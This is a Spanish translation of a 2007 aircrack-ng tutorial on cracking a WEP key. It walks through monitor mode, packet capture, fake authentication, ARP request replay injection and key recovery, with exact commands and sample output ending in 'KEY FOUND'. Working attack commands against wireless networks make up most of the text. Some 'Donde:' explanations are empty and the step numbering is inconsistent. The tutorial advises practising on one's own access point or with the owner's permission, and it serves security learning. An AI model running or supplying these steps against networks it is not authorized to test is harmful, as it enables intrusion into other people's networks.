Table of Contents

Tutorial: Simple crackeo de clave WEP

Version: 1.05 de 12 de Julio de 2007
By: darkAudax
Traducción: 16 de Julio de 2007 by Spanish

Introducción

Este tutorial muestra la forma más simple de crackear una clave WEP. Se intentará que te familiarices con los conceptos básicos. Y partimos del supuesto de que tienes una tarjeta wireless con los drivers parcheados para poder inyectar.

Para iniciarte y conocer la suite aircrack-ng mira la Guía de Aircrack-ng en Linux para novatos. Aunque este tutorial no cubre todos los pasos, se intentan proporcionar ejemplos detallados para crackear una clave WEP y expplicar cada una de las etapas. Para más información sobre la instalación de aircrck-ng, mira Installing Aircrack-ng y para la instalación de los drivers mira Installing Drivers.

Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar.

Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:

Asegúrate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.

En los ejemplos, la opción “doble guión bssid” se muestra como “- -bssid”. Recuerda borrar el espacio entre los dos guiones cuando lo uses en la vida real. Esto tambien se aplica a “- -ivs”.

Equipo usado

En este tutorial:

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Contenidos

Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Teoricamente, si tenemos paciencia, podemos conseguir suficientes IVs para crackear la clave WEP únicamente capturando el tráfico de la red. Pero como la mayoría de nosotros no tenemos paciencia, usamos una técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envien al punto de acceso (AP) paquetes de forma continua y muy rápido. Esto permite capturar un gran número de IVs en un periodo corto de tiempo.

Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.

Aquí estań los pasos que vamos a seguir:

  1. Colocar la tarjeta wireless en modo monitor y fijar el canal del AP
  2. Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso
  3. Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar IVs
  4. Iniciar aireplay-ng para inyectar paquetes de peticiones ARP
  5. Ejecutar aircrack-ng para obtener la clave WEP

Paso 1 - Colocar la tarjeta wireless en modo monitor y fijar el canal del AP

La finalidad de este paso es poner la tarjeta en el modo que se denomina “modo monitor”. En este modo la tarjeta puede escuchar y capturar cualquier paquete wireless que se encuentre en el aire. Normalmente la tarjeta solo “escuchará” y capturará los paquetes que tu le indiques. Capturando algunos paquetes, despues podremos seleccionar alguno de ellos para inyectarlo. El modo monitor tambien permite inyectar paquetes (aunque hay algunas excepciones con algunas tarjetas).

Primero “bajar” la interface ath0 escribiendo:

 airmon-ng stop ath0   

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Escribe “iwconfig” para cerciorarte de que no hay otras interfaces athX. Debes de ver algo como esto:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

Si hay alguna otra interface athX, debes pararla. Cuando termines, ejecuta “iwconfig” para asegurarte de que ya no queda ninguna.

Ahora, escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

 airmon-ng start wifi0 9

Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Puedes observar que “ath0” aparece colocada en modo monitor.

Para confirmar que la interface está bien configurada, escribimos “iwconfig“.

El sistema nos responderá:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Ten en cuenta que solo los drivers madwifi-ng muestran la dirección MAC de tu tarjeta wireless, y otros drivers no. Por lo tanto todo está bien. Es importante comprobar toda esta información antes de continuar, ya que sino los siguientes pasos no funcionarán.

Para ver la correspondencia entre frecuencia y canal, mira: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Así sabrás la frecuencia para cada canal.

Paso 2 - Iniciar airodump-ng para capturar los IVs

La finalidad de este paso es capturar IVs. Este paso iniciará airodump-ng para capturar los IVs del AP que le especifiquemos.

Abre otra consola y escribe:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

Donde:

En el momento que se esté llevando a cabo la inyección (más adelante), la pantalla se verá de forma parecida a esta:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 
                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                            
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           
                                                                                                            
 BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                            
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  

Paso 3 - Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso

Para que un punto de acceso acepte cualquier paquete, la dirección MAC de origen del mismo debe estar previamente asociada con el AP. Si la dirección MAC desde la que estás inyectando no se encuentra asociada, el AP ignorará los paquetes y enviará paquetes de “DeAuthentication”. En esta situación, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.

La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección. Recuerda la regla de oro: La dirección MAC que uses para la inyección debe estar asociada con el AP usando una falsa autenticación o usando una MAC de un cliente ya asociado.

Para asociarse con un punto de acceso, usa la falsa autenticación:

 aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Donde:

Si tenemos éxito aparecerá algo como esto:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Otra variación que puede funcionar en algunos puntos de acceso:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Donde:

Si tenemos éxito aparecerá algo como esto:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Ahora ponemos un ejemplo de un fallo de autenticación:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta.

Problemas y Trucos

escribe: tcpdump -n -vvv -s0 -e -i <nombre de interface> | grep -E ”(RA:<dirección MAC de tu tarjeta>|Authentication|ssoc)“

Ahora deberás buscar mensajes de error.

Escribe: “tcpdump -n -e -s0 -vvv -i ath0”

A continuación puedes ver un mensaje de error de tcpdump como el que estamos buscando:

 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:0F:B5:88:AC:82) que no está asociada. Lo que significa que el AP no aceptará los paquetes que inyectemos.

Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar.

Paso 4 - Iniciar aireplay-ng para inyectar paquetes de peticiones ARP

El objetivo de este paso es utilizar aireplay-ng para capturar peticiones ARP e inyectarlas a la red. Para una explicación más amplia acerca de ARP, mira PC Magazine page o Wikipedia. La razón por la que se escogen los paquetes de peticiones ARP o “ARP request” es porque el AP reenvia estos paquetes y se generan nuevos IVs. De esta forma conseguiremos un gran número de IVs en un periodo corto de tiempo.

Abre otra consola y escribe:

 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Empezará a escuchar las posibles peticiones ARP y cuando capture una, aireplay-ng inmediatamente la inyectará. En tu propia red, una forma fácil de generar una peticion ARP es: En una red cableada, haz ping a una IP que no exista en tu red.

A continuación puedes ver una pantalla de cuando se están inyectano las peticiones ARP:

 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

Puedes comprobar que estás inyectando revisando la pantalla de airodump-ng. Los paquetes de datos (data) deberían incrementarse de forma rápida. El número de la columna ”#/s“ debe ser bastante alto. Aunque, este número depende de multitud de factores. Un rango típico es entre 300 y 400 paquetes de datos por segundo. Puede tambien que se situe alrededor de 100/segundo o por encima de 1000/segundo.

Paso 5 - Ejecutar aircrack-ng para obtener la clave WEP

El propósito de este paso es obtener la clave WEP a partir de los IVs guardsdos de los pasos anteriores.

Nota: Para empezar, deberías fijar una clave WEP de 64 bit en tu AP con el fin de acelerar el proceso de crackeo. Si este es el caso, puedes incluir la opción ”-n 64“ que limita las comprobaciones de claves a 64 bits.

Puedes probar 2 métodos. Es recomendable que utilices los dos para aprender. Si pruebas los 2 métodos, verás que con el método PTW se obtiene la clave de forma muy rápda comparado con el método FMS/Korek. Pero hay que resaltar que el método PTW solo funciona bien con paquetes ARP. Como este tutorial solo cubre inyecciónde paquetes ARP, este método te funcionará muy bien. El otro requirimiento es que se tiene que capturar el paquete entero *.cap con airodump-ng. Lo que significa, que no se puede usar la opción ”- -ivs“.

Inicia otra consola y escribe:

 aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

Donde:

Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Usando el método PTW, una clave WEP de 40-bit puede ser crackeada con poco mas de 20,000 paquetes de datos y para una clave de 104-bit 40,000 paquetes. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.

Si tenemos éxito aparecerá algo como esto:

                                              Aircrack-ng 0.9
 
                              [00:01:18] Tested 0/140000 keys (got 30680 IVs)
 
 KB    depth   byte(vote)
  0    0/  1   12( 170) 35( 152) AA( 146) 17( 145) 86( 143) F0( 143) AE( 142) C5( 142) D4( 142) 50( 140) 
  1    0/  1   34( 163) BB( 160) CF( 147) 59( 146) 39( 143) 47( 142) 42( 139) 3D( 137) 7F( 137) 18( 136) 
  2    0/  1   56( 162) E9( 147) 1E( 146) 32( 146) 6E( 145) 79( 143) E7( 142) EB( 142) 75( 141) 31( 140) 
  3    0/  1   78( 158) 13( 156) 01( 152) 5F( 151) 28( 149) 59( 145) FC( 145) 7E( 143) 76( 142) 92( 142) 
  4    0/  1   90( 183) 8B( 156) D7( 148) E0( 146) 18( 145) 33( 145) 96( 144) 2B( 143) 88( 143) 41( 141) 
 
                       KEY FOUND! [ 12:34:56:78:90 ] 
      Decrypted correctly: 100%

Para usar el método FMS/Korek, inicia otra consola y escribe:

 aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Donde:

Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Necesitarás aproximadamente 250,000 IVs para una clave WEP de 64 bit y 1,500,000 IVs para claves de 128 bit. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.

Si tenemos éxito aparecerá algo como esto:

                                              Aircrack-ng 0.9
 
 
                              [00:03:06] Tested 674449 keys (got 96610 IVs)
 
 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) 
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) 
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) 
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 
 
                       KEY FOUND! [ 12:34:56:78:90 ] 
      Probability: 100%

Date cuenta que en este ejemplo hemos necesitado muchos menos IVs que los estimados 250,000 para obtener la clave.

Problemas generales